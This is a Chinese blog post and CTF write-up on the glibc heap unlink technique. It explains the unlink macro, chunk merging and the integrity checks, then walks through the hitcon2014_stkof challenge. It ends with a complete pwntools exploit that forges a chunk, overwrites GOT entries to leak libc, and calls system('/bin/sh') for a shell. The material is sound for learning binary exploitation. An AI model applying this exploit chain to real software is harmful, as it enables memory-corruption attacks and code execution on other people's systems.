堆溢出_unlink

本文最后更新于 2024年10月9日 上午

堆溢出_unlink

Unlink详解

Ulink是什么

unlink实际上是libc上定义的一个宏,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#define unlink(AV, P, BK, FD) {                                            
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

但是重要的不是他的源码,而是它在堆溢出中有什么利用

堆的基础知识

large free chunk结构

img

可以看到一个large free chunk 不包括data的话,最小的大小为

1
size=p64(pre_size)+p64(size)+p64(fd)+p64(bk)+p64(fd_next)+p64(bk_next)=0x30

这会为我们伪造一个free chunk提供条件(在后面会用到)

chunk合并

我们先来回顾一下堆方面的基础知识,我们知道,当我们free一个大小超过0x90的chunk时,会检查这个chunk物理意义上相邻的前一个chunk是否是空闲状态,如果是,两个chunk会合并成一个大的chunk来合理利用空间。

我们来看示例

申请3个0x80的空间后释放

接着用gdb bin 指令以及heap指令查看

img

img

可以看到三个空闲chunk彼此连接的,其中fd指针指向上一个chunk的地址,bk指针指向下一个chunk的地址

unlink的过程

过程

在hollk师傅的文章中,unlink被通俗易懂的理解为,从三个相互连接的chunk中摘取掉中间的chunk

那么在摘取之后会发生什么呢?

img

这是没摘取前三个chunk中的联系

当摘取了second_chunk后为了连接first_chunk和third_chunk

fd3会被fd取代,bk1会被bk2取代。

img

漏洞利用

想象一下,当second_chunk是我们伪造的,fd2,bk2伪造成我们想要写入数据,而first_chunk和third_chunk设置成我们想要写入的地址,是不是可以实现地址任意写,接下来我们通过实际的题目来理解

unlink检查

在我们用的大多数linux都会对chunk状态进行检查,以免造成二次释放或者二次申请的问题。

检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小

​ 当一个chunk是空闲的时候相邻高地址的pre_size域为该chunk的大小

检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0

检查3:检查前后被释放chunk的fd和bk

hitcon2014_stkof

sub_400936

img

这个函数就是创建chunk,并把地址放在dword_602100

sub_4009E8

img

这个函数可以对chunk进行编辑,同时没有对字符进行限制,存在堆溢出

img

sub_400B07

img

这个函数就是简单的free函数

思路

首先先建立三个chunk,分别为

chunk1=0x1804010

chunk2=0x1804460

chunk3=0x18044a0

img

发现有两个chunk是相邻的,因为编辑函数存在堆溢出,可以覆盖下一个chunk的pre_size,size域

img

这个地址存着chunk的地址

即head=0x602140

img

编辑函数就是利用这里的地址进行操作的,假设我们可以把这里的地址改成别的地址,那么我们就可以利用编辑函数堆这个地址进行操作

那么怎么改呢?我们就可以利用unlink进行地址任意写

伪造second_chunk

在前面我们知道,unlink利用中最重要的就是second_chunk,但是这里并没有我们可以利用的chunk,那么我们考虑在chunk2的data域伪造一个free_chunk

img

img

这是前面提到的,那么我们伪造的second_chunk大小最小为0x30

那么基本结构就是

1
fake=second_chunk+p64(0x30)+p64(0x90)

这里的p64(0x30)是下一个chunk的pre_size域,p64(0x90)是下一个chunk的大小,目的是为了触发unlink和绕过检查(只有一个大于0x80的chunk释放时才会触发unlink)

那么接下来就是对second_chunk的具体伪造

我们知道伪造的chunk时second_chunk,那么first_chunk的bk指针就应该是chunk2的数据域

即0x1804460+0x10=0x1804470

third_chunk的fd指针也是0x1804460+0x10=0x180447

img

我们发现,如果把0x602138作为一个chunk的话,那么这个chunk的fd指针刚好满足上面的要求,

img

把0x602140作为一个chunk的话,fd指针也刚好满足要求

所以first_chunk=0x602138,third_chunk=0x602140

那么second_chunk为

1
second_chunk=p64(0)+p64(0x30)+p64(0x602138)+p64(0x602140)+p64(0x30)+p64(90)

因为second_chunk的pre_size域不影响,所以置0即可

img

触发unlink,实现任意写

img

1
2
3
4
5
pwndbg> x/30gx 0x602140
0x602140: 0x0000000000000000 0x0000000001804010
0x602150: 0x0000000000602038 0x0000000000000000
0x602160: 0x00000000020f8530 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000

可以看到chunk2的地址已被覆盖

泄露基地址

因为chunk已杯覆盖成0x602038

那么我们可以通过编辑函数进行操作

1
2
payload=p64(0)*2+p64(free_got)+p64(puts_got)
fill(2,payload)

把chunk1和chunk2的地址覆盖成free函数和puts函数

img

此时我们调用free(2)时便可泄露基地址

getshell

接着我们使用编辑函数,把free函数got写成system

img

img

img

最后创建一个chunk存放/bin/sh后释放,getshell

img

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
p = process('./stkof')
#p=remote("node5.buuoj.cn",'28668')
p=process('./stkof')
#context.log_level = 'debug'
#gdb.attach(p)
elf = ELF("./stkof")
libc = ELF("./libc-2.23.so")

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

def alloc(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil("OK")

def fill(idx,content):
p.sendline(str(2))
p.sendline(str(idx))
p.sendline(str(len(content)))
p.sendline(content)
p.recvuntil("OK")

def free(idx):
p.sendline(str(3))
p.sendline(str(idx))

alloc(0x30)
alloc(0x30)
alloc(0x80)
alloc(0x30)
fake=p64(0)+p64(0x30)+p64(0x602138)+p64(0x602140)+b'a'*0x10+p64(0x30)+p64(0x90)
fill(2,fake)
free(3)
payload=p64(0)*2+p64(free_got)+p64(puts_got)
fill(2,payload)
payload=p64(puts_plt)
fill(1,payload)
free(2)
real=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(real))
base=real-0x6f690
system=base+0x45390
fill(1,p64(system))
fill(4,b'/bin/sh\x00')
free(4)

p.interactive()
#pause()

参考文献

好好说话之unlink

hitcon2014_stkof详解


堆溢出_unlink
http://example.com/2024/09/17/堆溢出-unlink/
作者
清风
发布于
2024年9月17日
许可协议